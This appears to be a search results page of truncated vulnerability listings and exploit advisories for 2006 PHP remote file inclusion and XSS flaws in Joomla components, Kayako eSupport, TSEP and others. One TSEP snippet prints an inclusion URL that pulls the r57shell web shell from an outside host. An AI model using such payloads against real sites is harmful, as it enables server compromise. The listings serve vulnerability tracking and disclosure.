1169 matches found
CVE-2006-4130
The CVE-2006-4130 issue is a PHP remote file inclusion in the Remository component (com_remository) for Mambo/Joomla! (3.25 and earlier). When register_globals is enabled, an attacker can cause arbitrary PHP code execution via a URL passed to mosConfig_absolute_path. The vulnerability affects the...
CVE-2006-4115
CVE-2006-4115 describes a PHP remote file inclusion vulnerability in PgMarket 2.2.3, triggered when register_globals is enabled. The flaw allows remote attackers to execute arbitrary PHP code via the CFG[libdir] parameter in common.inc.php. Connected sources (NVD entry) confirm the affected softw...
CVE-2006-4074
CVE-2006-4074 affects the JD-Wiki (com_jd-wiki) Joomla! component (1.0.2 and earlier). The vulnerability is a PHP remote file inclusion in lib/tpl/default/main.php that, when register_globals is enabled, allows an attacker to supply a URL via mosConfig_absolute_path to execute arbitrary PHP on th...
CVE-2006-4061
CVE-2006-4061 describes a PHP remote file inclusion in phpPrintAnalyzer 1.1 (index.php) exploitable when register_globals is enabled, by passing a URL in rep_par_rapport_racine. The vulnerability is tied to a PHP RFI via a parameter; impact is described as partial confidentiality, integrity and a...
CVE-2006-4011
PHP remote file inclusion vulnerability in esupport/admin/autoclose.php in Kayako eSupport 2.3.1 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the subd parameter...
CVE-2006-4011
Kayako eSupport vulnerable to PHP remote file inclusion (CVE-2006-4011) in esupport/admin/autoclose.php for 2.3.1 and earlier when register_globals is enabled. An attacker can specify a URL in the subd parameter to execute arbitrary PHP code. Affected product/version: Kayako eSupport 2.3.1 and ea...
SQLiteWebAdmin 0.1 - 'tpl.inc.php' Remote File Inclusion
SQLiteWebAdmin http://sourceforge.net/projects/sqlitewebadmin SQLiteWebAdmin is a simple PHP program for administrating a SQL DataBase. It suffers of a Remote File Inclusion Vulnerability. The bug is in the "tpl.inc.php" program in the "lib" directory, and is exploited when passing the parameter...
SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability
Exploit for unknown platform in category web applications ============================================================= SQLiteWebAdmin 0.1 tpl.inc.php Remote Include Vulnerability ============================================================= SQLiteWebAdmin...
Kayako eSupport <= 2.3.1 (subd) Remote File Inclusion Vulnerability:
Script: Kayako eSupport = 2.3.1 Vendor: Kayako www.kayako.com Discovered: beford xbefordx gmail com Comments: It seems like the vendor silently fixed the issue in the current version more like since v2.3.5 withouth warning users of previous versions, noobs. Requires that "registerglobals" is...
Kayako eSupport <= 2.3.1 (subd) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Kayako eSupport Comments: It seems like the vendor silently fixed the issue in the current version more like since v2.3.5 withouth warning users of previous versions, noob...
TSEP 0.942 - 'colorswitch.php' Remote File Inclusion
Script: TSEP Comments: "registerglobals" must be enabled duh. document.this != http://www.milw0rm.com/exploits/2098 Vulnerable Files/Code: ./tsep.0942/include/colorswitch.php?tsepconfigabsPath=http://rst.void.ru/download/r57shell.txt? ./tsep.0942/include/printpagedetails.php = requireonce...
Kayako eSupport <= 2.3.1 (subd) Remote File Inclusion Vulnerability
No description provided by source. Script: Kayako eSupport = 2.3.1 Vendor: Kayako www.kayako.com Discovered: beford xbefordx gmail com Comments: It seems like the vendor silently fixed the issue in the current version more like since v2.3.5 withouth warning users of previous versions, noobs...
TSEP <= 0.942 (colorswitch.php) Remote Inclusion Vulnerability
No description provided by source. Script: TSEP = 0.942 URL: www.tsep.info Discovered: beford xbefordx gmail com Comments: "registerglobals" must be enabled duh. document.this != http://www.milw0rm.com/exploits/2098 Vulnerable Files/Code:...
Joomla! Component LMO 1.0b2 - Remote File Inclusion
Application : LMO - Joomla! Component URL : http://forge.joomla.org/sf/projects/lmo Variable $mosConfigabsolutepath not sanitized: xpl works with registerglobals=on in components/comlmo/lmo.php on line 11-12 $lmodateipfad=$mosConfigabsolutepath."/administrator/components/comlmo/";...
CVE-2006-3923
Cross-site scripting XSS vulnerability in add.php in Fire-Mouse Toplist 1.1 and earlier, when registerglobals is enabled, allows remote attackers to inject arbitrary web script or HTML via the Seitenname parameter...
security flaw
The parsestr function in PHP 4.x up to 4.4.0 and 5.x up to 5.0.5, when called with only one parameter, allows remote attackers to enable the registerglobals directive via inputs that cause a request to be terminated due to the memorylimit setting, which causes PHP to set an internal flag that...
Moderate: Red Hat Security Advisory: php security update
Updated PHP packages that fix multiple security issues are now available for Red Hat Enterprise Linux 2.1 This update has been rated as having moderate security impact by the Red Hat Security Response Team. PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Web server. ...
[MajorSecurity #22] Top XL <=1.1 - XSS and cookie disclosure
MajorSecurity 22 Top XL =1.1 - XSS and cookie disclosure ----------------------------------------------------------------- Software: Top XL Version: =1.1 Type: Cross site scripting and cookie disclosure Made public: July, 20th 2006 Vendor: http://www.paddelberg.de Page: http://www.paddelberg.de...
iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion
Exploit for unknown platform in category web applications =========================================================== iManage CMS = 4.0.12 absolutepath Remote File Inclusion =========================================================== \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ /...
iManage CMS 4.0.12 - 'absolute_path' Remote File Inclusion
\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV40$2006 --------------------------------------------------------------------------------------------------- ECHOADV40$2006 iManage CMS = 4.0.12 absolutepath Remote File Inclusion...